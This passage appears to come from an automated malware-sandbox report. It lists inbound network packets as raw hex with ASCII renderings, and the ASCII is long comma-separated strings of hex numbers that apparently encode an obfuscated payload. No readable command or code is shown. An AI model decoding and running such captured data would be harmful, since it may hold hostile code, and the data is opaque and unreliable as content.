2023-04-20 23:04:22 UTC	8653	IN	Data Raw: 2c 31 31 64 2c 61 39 2c 31 33 38 2c 66 66 2c 62 64 2c 37 33 2c 31 31 39 2c 64 30 2c 31 34 66 2c 36 35 2c 31 31 61 2c 65 35 2c 38 64 2c 31 31 65 2c 61 31 2c 31 31 33 2c 62 34 2c 36 61 2c 31 30 32 2c 64 61 2c 31 33 62 2c 64 38 2c 39 62 2c 39 36 2c 31 30 61 2c 37 66 2c 63 36 2c 63 32 2c 31 34 62 2c 35 65 2c 31 32 35 2c 31 33 32 2c 34 64 2c 36 37 2c 31 35 62 2c 66 65 2c 35 39 2c 66 64 2c 39 32 2c 31 34 63 2c 39 35 2c 61 35 2c 31 34 32 2c 64 39 2c 66 36 2c 31 32 64 2c 31 32 64 2c 31 35 34 2c 31 33 62 2c 31 30 31 2c 65 37 2c 36 62 2c 36 32 2c 31 35 36 2c 31 34 66 2c 31 35 64 2c 65 38 2c 63 39 2c 36 38 2c 62 61 2c 35 33 2c 35 36 2c 62 31 2c 61 62 2c 66 64 2c 36 64 2c 61 38 2c 65 30 2c 62 34 2c 38 33 2c 31 35 30 2c 66 30 2c 38 36 2c 31 32 66 2c 31 33 39 2c 62 39 Data Ascii: ,11d,a9,138,ff,bd,73,119,d0,14f,65,11a,e5,8d,11e,a1,113,b4,6a,102,da,13b,d8,9b,96,10a,7f,c6,c2,14b,5e,125,132,4d,67,15b,fe,59,fd,92,14c,95,a5,142,d9,f6,12d,12d,154,13b,101,e7,6b,62,156,14f,15d,e8,c9,68,ba,53,56,b1,ab,fd,6d,a8,e0,b4,83,150,f0,86,12f,139,b9
2023-04-20 23:04:22 UTC	8669	IN	Data Raw: 61 63 2c 35 62 2c 36 39 2c 36 31 2c 31 35 30 2c 38 32 2c 64 62 2c 37 39 2c 31 32 35 2c 61 37 2c 31 31 66 2c 35 33 2c 31 30 63 2c 63 61 2c 39 38 2c 31 30 35 2c 31 32 63 2c 66 31 2c 61 61 2c 65 37 2c 62 63 2c 36 33 2c 37 31 2c 65 61 2c 35 34 2c 31 34 64 2c 37 39 2c 63 31 2c 39 64 2c 31 30 63 2c 31 31 30 2c 34 66 2c 31 31 35 2c 31 34 38 2c 31 31 35 2c 61 64 2c 31 35 36 2c 37 39 2c 62 33 2c 39 31 2c 64 36 2c 31 34 34 2c 64 30 2c 31 31 64 2c 63 37 2c 31 31 66 2c 31 31 63 2c 31 32 33 2c 61 39 2c 31 36 61 2c 36 34 2c 64 30 2c 37 30 2c 31 35 39 2c 31 31 33 2c 31 35 32 2c 63 31 2c 37 39 2c 31 33 35 2c 31 37 36 2c 38 62 2c 37 31 2c 66 65 2c 62 61 2c 65 34 2c 61 62 2c 34 62 2c 31 30 65 2c 31 30 62 2c 31 36 34 2c 66 35 2c 36 65 2c 39 62 2c 63 39 2c 36 37 2c 63 38 2c Data Ascii: ac,5b,69,61,150,82,db,79,125,a7,11f,53,10c,ca,98,105,12c,f1,aa,e7,bc,63,71,ea,54,14d,79,c1,9d,10c,110,4f,115,148,115,ad,156,79,b3,91,d6,144,d0,11d,c7,11f,11c,123,a9,16a,64,d0,70,159,113,152,c1,79,135,176,8b,71,fe,ba,e4,ab,4b,10e,10b,164,f5,6e,9b,c9,67,c8,
2023-04-20 23:04:22 UTC	8685	IN	Data Raw: 31 36 61 2c 31 35 36 2c 63 32 2c 31 32 36 2c 31 30 33 2c 65 37 2c 35 38 2c 38 61 2c 66 62 2c 31 33 33 2c 37 33 2c 31 30 37 2c 66 34 2c 31 35 36 2c 63 36 2c 62 63 2c 36 32 2c 38 34 2c 66 32 2c 38 63 2c 65 30 2c 38 65 2c 38 38 2c 33 66 2c 63 33 2c 31 33 37 2c 65 33 2c 31 31 33 2c 31 31 66 2c 64 61 2c 64 65 2c 35 63 2c 31 35 37 2c 31 35 33 2c 31 31 38 2c 39 38 2c 38 39 2c 37 63 2c 35 65 2c 31 30 36 2c 65 31 2c 66 39 2c 61 62 2c 37 62 2c 33 64 2c 31 31 37 2c 37 36 2c 31 31 35 2c 65 30 2c 31 34 62 2c 66 63 2c 31 31 66 2c 36 30 2c 34 34 2c 63 36 2c 38 37 2c 31 33 63 2c 31 30 62 2c 31 36 31 2c 31 32 39 2c 31 35 34 2c 31 32 35 2c 31 33 61 2c 64 63 2c 37 66 2c 31 35 33 2c 63 63 2c 61 36 2c 31 33 33 2c 63 32 2c 31 32 65 2c 39 35 2c 31 35 30 2c 31 34 34 2c 31 31 61 Data Ascii: 16a,156,c2,126,103,e7,58,8a,fb,133,73,107,f4,156,c6,bc,62,84,f2,8c,e0,8e,88,3f,c3,137,e3,113,11f,da,de,5c,157,153,118,98,89,7c,5e,106,e1,f9,ab,7b,3d,117,76,115,e0,14b,fc,11f,60,44,c6,87,13c,10b,161,129,154,125,13a,dc,7f,153,cc,a6,133,c2,12e,95,150,144,11a
2023-04-20 23:04:22 UTC	8701	IN	Data Raw: 35 2c 31 30 64 2c 37 61 2c 36 37 2c 62 63 2c 64 38 2c 31 31 35 2c 31 35 34 2c 65 36 2c 38 66 2c 61 63 2c 64 31 2c 31 35 61 2c 63 32 2c 38 66 2c 65 32 2c 34 30 2c 31 30 32 2c 62 63 2c 31 30 66 2c 66 66 2c 64 36 2c 38 32 2c 65 33 2c 31 35 64 2c 31 33 37 2c 31 31 63 2c 31 34 32 2c 36 63 2c 31 31 37 2c 31 32 37 2c 31 34 32 2c 31 32 61 2c 31 34 32 2c 31 32 66 2c 66 66 2c 31 33 37 2c 38 61 2c 61 64 2c 62 39 2c 63 39 2c 66 33 2c 31 31 62 2c 63 64 2c 39 36 2c 39 65 2c 38 62 2c 39 39 2c 63 61 2c 31 31 39 2c 63 35 2c 31 31 38 2c 31 35 30 2c 36 37 2c 37 65 2c 66 38 2c 38 35 2c 61 32 2c 35 63 2c 36 39 2c 37 64 2c 64 34 2c 38 63 2c 36 37 2c 37 66 2c 62 63 2c 31 31 62 2c 31 33 62 2c 31 33 35 2c 31 33 64 2c 31 30 34 2c 61 61 2c 31 31 66 2c 37 64 2c 65 30 2c 31 30 30 2c Data Ascii: 5,10d,7a,67,bc,d8,115,154,e6,8f,ac,d1,15a,c2,8f,e2,40,102,bc,10f,ff,d6,82,e3,15d,137,11c,142,6c,117,127,142,12a,142,12f,ff,137,8a,ad,b9,c9,f3,11b,cd,96,9e,8b,99,ca,119,c5,118,150,67,7e,f8,85,a2,5c,69,7d,d4,8c,67,7f,bc,11b,13b,135,13d,104,aa,11f,7d,e0,100,
2023-04-20 23:04:22 UTC	8717	IN	Data Raw: 2c 31 33 39 2c 36 63 2c 38 34 2c 64 65 2c 31 36 36 2c 63 36 2c 31 32 30 2c 35 36 2c 31 31 61 2c 63 35 2c 66 34 2c 62 62 2c 62 39 2c 64 32 2c 35 66 2c 65 66 2c 39 64 2c 37 36 2c 31 35 31 2c 62 31 2c 37 62 2c 65 34 2c 38 38 2c 31 31 62 2c 63 64 2c 65 66 2c 31 31 32 2c 36 37 2c 64 33 2c 65 62 2c 66 62 2c 66 64 2c 31 32 64 2c 63 34 2c 31 31 32 2c 31 36 66 2c 31 30 61 2c 33 38 2c 31 31 31 2c 62 66 2c 31 34 37 2c 66 63 2c 31 32 61 2c 39 33 2c 61 63 2c 38 62 2c 39 63 2c 36 31 2c 66 62 2c 66 30 2c 66 61 2c 39 35 2c 63 32 2c 66 39 2c 31 31 30 2c 31 31 65 2c 31 33 65 2c 65 31 2c 36 38 2c 31 31 38 2c 35 39 2c 37 64 2c 31 33 38 2c 63 31 2c 62 34 2c 66 31 2c 34 34 2c 31 34 35 2c 31 35 65 2c 38 36 2c 37 61 2c 38 63 2c 31 31 32 2c 64 33 2c 35 35 2c 65 35 2c 61 62 2c 62 Data Ascii: ,139,6c,84,de,166,c6,120,56,11a,c5,f4,bb,b9,d2,5f,ef,9d,76,151,b1,7b,e4,88,11b,cd,ef,112,67,d3,eb,fb,fd,12d,c4,112,16f,10a,38,111,bf,147,fc,12a,93,ac,8b,9c,61,fb,f0,fa,95,c2,f9,110,11e,13e,e1,68,118,59,7d,138,c1,b4,f1,44,145,15e,86,7a,8c,112,d3,55,e5,ab,b
2023-04-20 23:04:22 UTC	8733	IN	Data Raw: 39 36 2c 61 62 2c 61 30 2c 31 32 64 2c 31 31 63 2c 35 65 2c 64 63 2c 39 35 2c 31 35 36 2c 35 66 2c 31 34 33 2c 62 32 2c 65 65 2c 39 33 2c 31 34 34 2c 31 30 31 2c 31 33 62 2c 31 35 61 2c 31 35 65 2c 36 34 2c 61 33 2c 31 33 63 2c 39 33 2c 31 32 66 2c 31 32 38 2c 63 37 2c 61 36 2c 38 65 2c 31 30 61 2c 31 33 37 2c 31 30 66 2c 31 32 33 2c 31 34 34 2c 31 30 63 2c 63 33 2c 31 36 35 2c 31 30 37 2c 38 37 2c 37 33 2c 37 30 2c 63 35 2c 62 31 2c 38 64 2c 64 38 2c 66 38 2c 31 32 37 2c 63 34 2c 37 64 2c 39 63 2c 64 39 2c 31 30 39 2c 31 31 61 2c 65 31 2c 31 34 66 2c 62 64 2c 31 33 62 2c 64 63 2c 39 63 2c 31 33 30 2c 66 34 2c 31 35 33 2c 38 65 2c 31 32 35 2c 31 35 30 2c 31 31 61 2c 61 61 2c 31 31 36 2c 31 37 31 2c 64 34 2c 35 34 2c 39 63 2c 38 36 2c 61 30 2c 62 39 2c 35 Data Ascii: 96,ab,a0,12d,11c,5e,dc,95,156,5f,143,b2,ee,93,144,101,13b,15a,15e,64,a3,13c,93,12f,128,c7,a6,8e,10a,137,10f,123,144,10c,c3,165,107,87,73,70,c5,b1,8d,d8,f8,127,c4,7d,9c,d9,109,11a,e1,14f,bd,13b,dc,9c,130,f4,153,8e,125,150,11a,aa,116,171,d4,54,9c,86,a0,b9,5
2023-04-20 23:04:22 UTC	8749	IN	Data Raw: 33 2c 65 32 2c 66 66 2c 36 64 2c 61 39 2c 61 64 2c 65 65 2c 65 65 2c 31 31 33 2c 31 31 30 2c 31 30 39 2c 64 38 2c 37 33 2c 65 33 2c 36 61 2c 64 64 2c 62 65 2c 31 34 34 2c 61 32 2c 37 30 2c 31 35 65 2c 38 34 2c 39 31 2c 62 65 2c 39 63 2c 31 30 35 2c 63 32 2c 31 30 35 2c 31 34 33 2c 31 32 65 2c 64 64 2c 65 36 2c 66 33 2c 31 34 66 2c 31 34 36 2c 61 31 2c 39 37 2c 35 36 2c 37 36 2c 31 30 61 2c 38 32 2c 36 34 2c 63 31 2c 65 32 2c 31 30 34 2c 31 32 61 2c 66 66 2c 31 30 35 2c 66 38 2c 36 39 2c 64 65 2c 31 32 30 2c 31 36 32 2c 37 39 2c 31 31 31 2c 31 31 31 2c 35 37 2c 31 34 64 2c 39 32 2c 31 30 34 2c 31 31 37 2c 63 61 2c 64 63 2c 39 31 2c 35 61 2c 66 38 2c 31 35 33 2c 66 30 2c 66 39 2c 38 30 2c 66 38 2c 31 34 33 2c 37 37 2c 38 33 2c 38 34 2c 38 30 2c 31 32 34 2c Data Ascii: 3,e2,ff,6d,a9,ad,ee,ee,113,110,109,d8,73,e3,6a,dd,be,144,a2,70,15e,84,91,be,9c,105,c2,105,143,12e,dd,e6,f3,14f,146,a1,97,56,76,10a,82,64,c1,e2,104,12a,ff,105,f8,69,de,120,162,79,111,111,57,14d,92,104,117,ca,dc,91,5a,f8,153,f0,f9,80,f8,143,77,83,84,80,124,
2023-04-20 23:04:22 UTC	8765	IN	Data Raw: 32 2c 62 61 2c 64 34 2c 37 66 2c 31 34 64 2c 31 31 38 2c 34 33 2c 39 32 2c 31 32 34 2c 38 65 2c 31 31 63 2c 36 36 2c 31 33 66 2c 31 34 37 2c 34 34 2c 31 32 31 2c 63 30 2c 31 35 65 2c 31 30 61 2c 31 33 33 2c 31 31 37 2c 31 30 33 2c 64 35 2c 31 34 39 2c 37 66 2c 61 35 2c 31 30 64 2c 64 33 2c 31 30 37 2c 31 32 37 2c 66 31 2c 65 63 2c 36 31 2c 64 34 2c 31 34 62 2c 31 37 32 2c 31 32 32 2c 31 32 38 2c 34 38 2c 31 30 63 2c 66 32 2c 38 30 2c 36 64 2c 61 30 2c 62 35 2c 31 34 30 2c 63 36 2c 35 34 2c 66 62 2c 39 31 2c 31 30 62 2c 38 66 2c 64 62 2c 31 33 61 2c 31 30 39 2c 39 65 2c 38 36 2c 63 33 2c 65 31 2c 36 36 2c 37 66 2c 36 37 2c 31 34 34 2c 31 33 32 2c 62 30 2c 63 39 2c 31 32 63 2c 65 64 2c 31 32 65 2c 37 64 2c 35 34 2c 31 33 32 2c 37 63 2c 31 30 65 2c 65 65 2c Data Ascii: 2,ba,d4,7f,14d,118,43,92,124,8e,11c,66,13f,147,44,121,c0,15e,10a,133,117,103,d5,149,7f,a5,10d,d3,107,127,f1,ec,61,d4,14b,172,122,128,48,10c,f2,80,6d,a0,b5,140,c6,54,fb,91,10b,8f,db,13a,109,9e,86,c3,e1,66,7f,67,144,132,b0,c9,12c,ed,12e,7d,54,132,7c,10e,ee,
2023-04-20 23:04:22 UTC	8781	IN	Data Raw: 38 64 2c 31 30 63 2c 31 31 38 2c 65 31 2c 35 66 2c 65 38 2c 66 35 2c 31 31 39 2c 31 32 61 2c 38 35 2c 63 37 2c 65 39 2c 31 34 65 2c 66 66 2c 64 32 2c 65 30 2c 31 31 63 2c 61 65 2c 62 33 2c 31 31 35 2c 62 31 2c 31 33 66 2c 31 36 31 2c 31 31 62 2c 37 36 2c 65 34 2c 62 63 2c 64 37 2c 31 30 36 2c 35 30 2c 31 31 36 2c 63 36 2c 65 31 2c 66 32 2c 38 38 2c 66 37 2c 36 37 2c 31 30 63 2c 37 35 2c 61 39 2c 62 38 2c 31 31 61 2c 65 33 2c 37 34 2c 31 34 31 2c 63 32 2c 31 33 66 2c 31 31 61 2c 62 64 2c 38 31 2c 61 64 2c 31 31 61 2c 64 37 2c 62 65 2c 37 34 2c 31 35 36 2c 36 61 2c 61 61 2c 31 33 37 2c 31 30 64 2c 31 30 65 2c 61 35 2c 31 36 65 2c 62 65 2c 36 32 2c 38 34 2c 65 62 2c 35 62 2c 64 31 2c 61 35 2c 37 34 2c 31 30 62 2c 37 33 2c 63 66 2c 31 30 32 2c 62 63 2c 31 31 Data Ascii: 8d,10c,118,e1,5f,e8,f5,119,12a,85,c7,e9,14e,ff,d2,e0,11c,ae,b3,115,b1,13f,161,11b,76,e4,bc,d7,106,50,116,c6,e1,f2,88,f7,67,10c,75,a9,b8,11a,e3,74,141,c2,13f,11a,bd,81,ad,11a,d7,be,74,156,6a,aa,137,10d,10e,a5,16e,be,62,84,eb,5b,d1,a5,74,10b,73,cf,102,bc,11
2023-04-20 23:04:22 UTC	8797	IN	Data Raw: 2c 64 37 2c 63 31 2c 31 31 33 2c 39 35 2c 38 31 2c 62 66 2c 31 33 62 2c 31 35 65 2c 31 31 30 2c 63 33 2c 34 39 2c 39 33 2c 31 31 36 2c 63 33 2c 31 31 64 2c 65 66 2c 37 33 2c 36 63 2c 66 37 2c 31 30 63 2c 36 37 2c 31 31 34 2c 61 66 2c 31 31 39 2c 66 32 2c 34 39 2c 65 62 2c 65 66 2c 64 34 2c 64 35 2c 62 31 2c 39 35 2c 31 31 33 2c 62 65 2c 35 63 2c 66 38 2c 35 62 2c 36 62 2c 35 65 2c 31 30 35 2c 63 38 2c 31 30 37 2c 62 35 2c 66 61 2c 31 32 37 2c 31 37 36 2c 63 63 2c 31 34 32 2c 31 33 33 2c 38 61 2c 38 35 2c 64 65 2c 39 34 2c 36 32 2c 62 38 2c 63 39 2c 65 36 2c 37 36 2c 31 31 34 2c 37 39 2c 33 33 2c 37 36 2c 39 36 2c 31 32 31 2c 64 61 2c 61 31 2c 31 30 35 2c 31 31 39 2c 65 62 2c 61 37 2c 62 36 2c 63 36 2c 66 35 2c 66 39 2c 38 64 2c 31 31 34 2c 31 34 66 2c 31 Data Ascii: ,d7,c1,113,95,81,bf,13b,15e,110,c3,49,93,116,c3,11d,ef,73,6c,f7,10c,67,114,af,119,f2,49,eb,ef,d4,d5,b1,95,113,be,5c,f8,5b,6b,5e,105,c8,107,b5,fa,127,176,cc,142,133,8a,85,de,94,62,b8,c9,e6,76,114,79,33,76,96,121,da,a1,105,119,eb,a7,b6,c6,f5,f9,8d,114,14f,1
2023-04-20 23:04:22 UTC	8813	IN	Data Raw: 63 65 2c 65 63 2c 61 34 2c 37 37 2c 61 62 2c 65 66 2c 65 64 2c 31 30 36 2c 37 66 2c 31 32 34 2c 37 33 2c 31 34 63 2c 31 31 30 2c 35 62 2c 39 32 2c 35 35 2c 31 32 31 2c 31 31 63 2c 31 32 62 2c 65 33 2c 38 62 2c 61 63 2c 62 36 2c 31 32 38 2c 65 65 2c 64 64 2c 62 39 2c 39 31 2c 31 34 36 2c 39 32 2c 31 32 32 2c 31 35 34 2c 36 63 2c 31 30 39 2c 66 63 2c 31 30 34 2c 31 33 65 2c 34 32 2c 38 37 2c 31 35 34 2c 31 33 62 2c 64 64 2c 34 30 2c 66 34 2c 31 34 66 2c 33 38 2c 31 34 34 2c 31 30 63 2c 64 64 2c 31 30 37 2c 34 63 2c 66 64 2c 64 61 2c 34 61 2c 66 37 2c 64 61 2c 31 35 32 2c 31 31 36 2c 66 64 2c 62 32 2c 62 30 2c 31 32 62 2c 31 36 66 2c 31 37 34 2c 31 35 34 2c 31 30 61 2c 64 30 2c 31 30 34 2c 31 31 61 2c 65 64 2c 35 66 2c 31 36 34 2c 65 38 2c 38 65 2c 31 32 32 Data Ascii: ce,ec,a4,77,ab,ef,ed,106,7f,124,73,14c,110,5b,92,55,121,11c,12b,e3,8b,ac,b6,128,ee,dd,b9,91,146,92,122,154,6c,109,fc,104,13e,42,87,154,13b,dd,40,f4,14f,38,144,10c,dd,107,4c,fd,da,4a,f7,da,152,116,fd,b2,b0,12b,16f,174,154,10a,d0,104,11a,ed,5f,164,e8,8e,122
2023-04-20 23:04:22 UTC	8829	IN	Data Raw: 30 66 2c 31 30 38 2c 31 31 31 2c 31 36 37 2c 31 33 31 2c 62 64 2c 63 38 2c 31 32 34 2c 64 38 2c 38 34 2c 31 30 35 2c 31 33 64 2c 65 65 2c 31 32 30 2c 39 30 2c 66 64 2c 31 32 30 2c 62 64 2c 62 66 2c 66 34 2c 62 38 2c 31 31 33 2c 35 62 2c 31 33 32 2c 31 37 31 2c 31 34 37 2c 62 62 2c 63 66 2c 66 30 2c 63 39 2c 31 32 38 2c 38 66 2c 31 31 65 2c 66 30 2c 31 34 38 2c 66 61 2c 31 30 30 2c 31 32 31 2c 31 34 39 2c 38 31 2c 31 31 33 2c 39 30 2c 66 36 2c 31 32 32 2c 64 64 2c 35 31 2c 39 32 2c 38 61 2c 62 62 2c 31 32 66 2c 31 31 61 2c 62 61 2c 39 34 2c 31 32 34 2c 63 34 2c 61 32 2c 38 65 2c 31 37 31 2c 31 34 35 2c 61 33 2c 38 64 2c 37 33 2c 62 65 2c 31 30 37 2c 31 31 39 2c 31 35 39 2c 31 30 61 2c 66 36 2c 61 35 2c 31 33 61 2c 61 34 2c 62 35 2c 31 30 63 2c 36 37 2c 31 Data Ascii: 0f,108,111,167,131,bd,c8,124,d8,84,105,13d,ee,120,90,fd,120,bd,bf,f4,b8,113,5b,132,171,147,bb,cf,f0,c9,128,8f,11e,f0,148,fa,100,121,149,81,113,90,f6,122,dd,51,92,8a,bb,12f,11a,ba,94,124,c4,a2,8e,171,145,a3,8d,73,be,107,119,159,10a,f6,a5,13a,a4,b5,10c,67,1
2023-04-20 23:04:22 UTC	8845	IN	Data Raw: 2c 65 61 2c 31 30 62 2c 37 39 2c 61 37 2c 37 36 2c 31 33 31 2c 31 31 35 2c 63 32 2c 39 33 2c 65 34 2c 65 65 2c 31 30 38 2c 65 61 2c 36 64 2c 31 31 38 2c 63 32 2c 36 38 2c 38 38 2c 66 30 2c 31 35 36 2c 31 34 32 2c 33 62 2c 39 62 2c 64 31 2c 61 33 2c 65 37 2c 31 32 64 2c 66 33 2c 31 30 32 2c 37 66 2c 66 65 2c 39 37 2c 63 37 2c 31 32 66 2c 39 35 2c 33 63 2c 36 31 2c 61 36 2c 31 31 61 2c 31 30 32 2c 62 37 2c 31 34 64 2c 31 34 35 2c 31 32 33 2c 39 62 2c 31 34 30 2c 38 31 2c 31 36 35 2c 31 33 32 2c 31 34 38 2c 38 36 2c 31 35 35 2c 31 32 39 2c 31 31 33 2c 31 31 62 2c 31 30 62 2c 31 34 63 2c 61 36 2c 63 36 2c 39 63 2c 63 66 2c 35 30 2c 31 33 62 2c 31 32 63 2c 36 33 2c 31 30 61 2c 31 34 31 2c 31 30 64 2c 36 39 2c 61 31 2c 31 32 34 2c 31 36 33 2c 31 30 30 2c 39 39 Data Ascii: ,ea,10b,79,a7,76,131,115,c2,93,e4,ee,108,ea,6d,118,c2,68,88,f0,156,142,3b,9b,d1,a3,e7,12d,f3,102,7f,fe,97,c7,12f,95,3c,61,a6,11a,102,b7,14d,145,123,9b,140,81,165,132,148,86,155,129,113,11b,10b,14c,a6,c6,9c,cf,50,13b,12c,63,10a,141,10d,69,a1,124,163,100,99
2023-04-20 23:04:22 UTC	8861	IN	Data Raw: 64 65 2c 31 33 63 2c 66 32 2c 31 34 66 2c 39 32 2c 37 30 2c 63 34 2c 37 66 2c 38 38 2c 31 31 38 2c 66 63 2c 31 32 62 2c 38 32 2c 63 64 2c 63 63 2c 64 65 2c 38 30 2c 63 35 2c 35 66 2c 39 38 2c 65 65 2c 35 63 2c 65 31 2c 65 31 2c 31 34 61 2c 31 33 31 2c 31 34 62 2c 31 33 65 2c 31 32 34 2c 66 32 2c 31 33 32 2c 31 30 31 2c 31 33 63 2c 31 33 63 2c 31 34 66 2c 61 62 2c 31 31 64 2c 38 39 2c 31 35 39 2c 37 39 2c 38 61 2c 31 33 32 2c 36 61 2c 38 36 2c 31 31 66 2c 65 32 2c 31 33 34 2c 66 34 2c 63 64 2c 31 36 36 2c 62 34 2c 31 32 30 2c 36 65 2c 31 30 64 2c 31 34 62 2c 66 37 2c 39 36 2c 31 30 61 2c 31 34 38 2c 65 37 2c 65 39 2c 31 32 61 2c 31 32 66 2c 66 35 2c 37 38 2c 31 32 34 2c 31 36 36 2c 63 39 2c 39 30 2c 35 36 2c 31 30 61 2c 39 34 2c 31 33 38 2c 31 33 32 2c 31 Data Ascii: de,13c,f2,14f,92,70,c4,7f,88,118,fc,12b,82,cd,cc,de,80,c5,5f,98,ee,5c,e1,e1,14a,131,14b,13e,124,f2,132,101,13c,13c,14f,ab,11d,89,159,79,8a,132,6a,86,11f,e2,134,f4,cd,166,b4,120,6e,10d,14b,f7,96,10a,148,e7,e9,12a,12f,f5,78,124,166,c9,90,56,10a,94,138,132,1
2023-04-20 23:04:22 UTC	8877	IN	Data Raw: 31 37 2c 36 66 2c 66 62 2c 31 31 64 2c 64 33 2c 65 30 2c 31 34 62 2c 31 35 61 2c 61 65 2c 31 32 62 2c 66 30 2c 63 35 2c 36 65 2c 66 33 2c 31 33 66 2c 37 31 2c 63 65 2c 39 34 2c 65 30 2c 63 66 2c 65 66 2c 61 38 2c 31 33 33 2c 38 32 2c 31 30 63 2c 38 62 2c 64 31 2c 31 33 32 2c 63 66 2c 31 30 32 2c 31 30 35 2c 65 38 2c 31 32 65 2c 31 31 66 2c 62 61 2c 61 63 2c 63 66 2c 31 31 64 2c 39 32 2c 31 30 37 2c 66 32 2c 35 64 2c 63 32 2c 31 31 62 2c 35 36 2c 31 34 36 2c 62 63 2c 31 35 34 2c 31 33 33 2c 62 38 2c 38 31 2c 31 30 32 2c 64 34 2c 31 31 38 2c 65 30 2c 31 33 35 2c 36 34 2c 61 39 2c 61 34 2c 31 31 37 2c 35 39 2c 31 34 32 2c 31 36 38 2c 31 36 33 2c 66 63 2c 31 33 31 2c 38 39 2c 61 65 2c 64 37 2c 31 33 33 2c 35 38 2c 31 31 35 2c 38 61 2c 35 35 2c 65 32 2c 38 38 Data Ascii: 17,6f,fb,11d,d3,e0,14b,15a,ae,12b,f0,c5,6e,f3,13f,71,ce,94,e0,cf,ef,a8,133,82,10c,8b,d1,132,cf,102,105,e8,12e,11f,ba,ac,cf,11d,92,107,f2,5d,c2,11b,56,146,bc,154,133,b8,81,102,d4,118,e0,135,64,a9,a4,117,59,142,168,163,fc,131,89,ae,d7,133,58,115,8a,55,e2,88
2023-04-20 23:04:31 UTC	8893	IN	Data Raw: 36 2c 66 63 2c 36 66 2c 39 34 2c 61 30 2c 64 36 2c 63 34 2c 37 62 2c 38 36 2c 34 38 2c 31 32 32 2c 64 64 2c 31 34 63 2c 31 30 33 2c 38 64 2c 33 36 2c 31 33 31 2c 33 39 2c 35 65 2c 37 63 2c 36 36 2c 61 64 2c 65 61 2c 31 33 31 2c 31 32 36 2c 38 31 2c 61 39 2c 31 30 32 2c 63 31 2c 31 31 64 2c 31 31 62 2c 63 35 2c 31 33 36 2c 31 33 63 2c 31 35 32 2c 31 33 33 2c 31 31 66 2c 31 33 35 2c 31 32 63 2c 65 36 2c 63 64 2c 66 66 2c 31 31 35 2c 36 33 2c 31 33 31 2c 31 32 37 2c 39 62 2c 31 31 34 2c 65 38 2c 31 30 39 2c 36 38 2c 66 64 2c 31 34 33 2c 62 34 2c 31 35 39 2c 35 34 2c 62 66 2c 31 33 37 2c 61 65 2c 31 36 32 2c 37 30 2c 31 31 31 2c 35 63 2c 65 34 2c 66 65 2c 36 36 2c 35 34 2c 31 35 34 2c 31 33 31 2c 31 32 63 2c 39 34 2c 61 38 2c 63 36 2c 35 37 2c 61 39 2c 38 33 Data Ascii: 6,fc,6f,94,a0,d6,c4,7b,86,48,122,dd,14c,103,8d,36,131,39,5e,7c,66,ad,ea,131,126,81,a9,102,c1,11d,11b,c5,136,13c,152,133,11f,135,12c,e6,cd,ff,115,63,131,127,9b,114,e8,109,68,fd,143,b4,159,54,bf,137,ae,162,70,111,5c,e4,fe,66,54,154,131,12c,94,a8,c6,57,a9,83
2023-04-20 23:04:31 UTC	8909	IN	Data Raw: 31 30 65 2c 37 31 2c 31 34 34 2c 61 36 2c 66 33 2c 36 65 2c 65 36 2c 36 62 2c 37 64 2c 35 61 2c 64 38 2c 31 36 39 2c 61 33 2c 64 37 2c 64 31 2c 31 36 34 2c 62 61 2c 36 31 2c 63 30 2c 31 34 66 2c 31 30 65 2c 38 37 2c 34 66 2c 31 34 33 2c 31 31 35 2c 65 33 2c 38 30 2c 31 33 32 2c 31 30 39 2c 31 32 38 2c 66 32 2c 31 31 32 2c 31 32 31 2c 31 33 39 2c 66 39 2c 31 36 32 2c 62 66 2c 36 36 2c 61 37 2c 39 65 2c 36 34 2c 36 33 2c 65 65 2c 31 31 35 2c 66 35 2c 31 30 64 2c 35 34 2c 31 31 61 2c 31 32 36 2c 66 33 2c 31 33 63 2c 31 31 36 2c 31 31 39 2c 31 34 32 2c 66 66 2c 38 62 2c 31 34 63 2c 63 37 2c 31 35 63 2c 62 31 2c 31 32 64 2c 63 38 2c 31 32 32 2c 65 65 2c 63 62 2c 31 31 66 2c 31 34 37 2c 31 33 37 2c 31 30 33 2c 36 36 2c 37 62 2c 65 39 2c 33 61 2c 63 30 2c 36 35 Data Ascii: 10e,71,144,a6,f3,6e,e6,6b,7d,5a,d8,169,a3,d7,d1,164,ba,61,c0,14f,10e,87,4f,143,115,e3,80,132,109,128,f2,112,121,139,f9,162,bf,66,a7,9e,64,63,ee,115,f5,10d,54,11a,126,f3,13c,116,119,142,ff,8b,14c,c7,15c,b1,12d,c8,122,ee,cb,11f,147,137,103,66,7b,e9,3a,c0,65
2023-04-20 23:04:31 UTC	8925	IN	Data Raw: 2c 66 64 2c 39 35 2c 62 64 2c 35 64 2c 31 34 37 2c 63 34 2c 39 33 2c 38 34 2c 36 31 2c 31 32 30 2c 39 33 2c 31 31 61 2c 31 34 36 2c 62 64 2c 63 32 2c 31 32 61 2c 31 31 36 2c 66 32 2c 63 30 2c 61 38 2c 37 39 2c 62 61 2c 31 31 61 2c 37 33 2c 66 34 2c 64 61 2c 62 38 2c 66 35 2c 64 34 2c 38 39 2c 61 39 2c 64 31 2c 38 36 2c 31 33 35 2c 31 34 63 2c 62 63 2c 31 34 34 2c 61 34 2c 65 38 2c 37 34 2c 64 65 2c 31 30 39 2c 31 32 39 2c 64 30 2c 31 35 30 2c 63 39 2c 39 32 2c 31 35 64 2c 63 35 2c 65 36 2c 35 61 2c 31 34 61 2c 64 30 2c 34 65 2c 64 31 2c 31 34 65 2c 65 63 2c 31 33 31 2c 35 64 2c 31 34 64 2c 31 35 38 2c 39 31 2c 31 32 31 2c 37 38 2c 31 32 61 2c 37 64 2c 31 35 61 2c 66 33 2c 31 31 66 2c 35 38 2c 66 37 2c 31 34 36 2c 65 64 2c 66 33 2c 31 32 33 2c 31 31 65 2c Data Ascii: ,fd,95,bd,5d,147,c4,93,84,61,120,93,11a,146,bd,c2,12a,116,f2,c0,a8,79,ba,11a,73,f4,da,b8,f5,d4,89,a9,d1,86,135,14c,bc,144,a4,e8,74,de,109,129,d0,150,c9,92,15d,c5,e6,5a,14a,d0,4e,d1,14e,ec,131,5d,14d,158,91,121,78,12a,7d,15a,f3,11f,58,f7,146,ed,f3,123,11e,
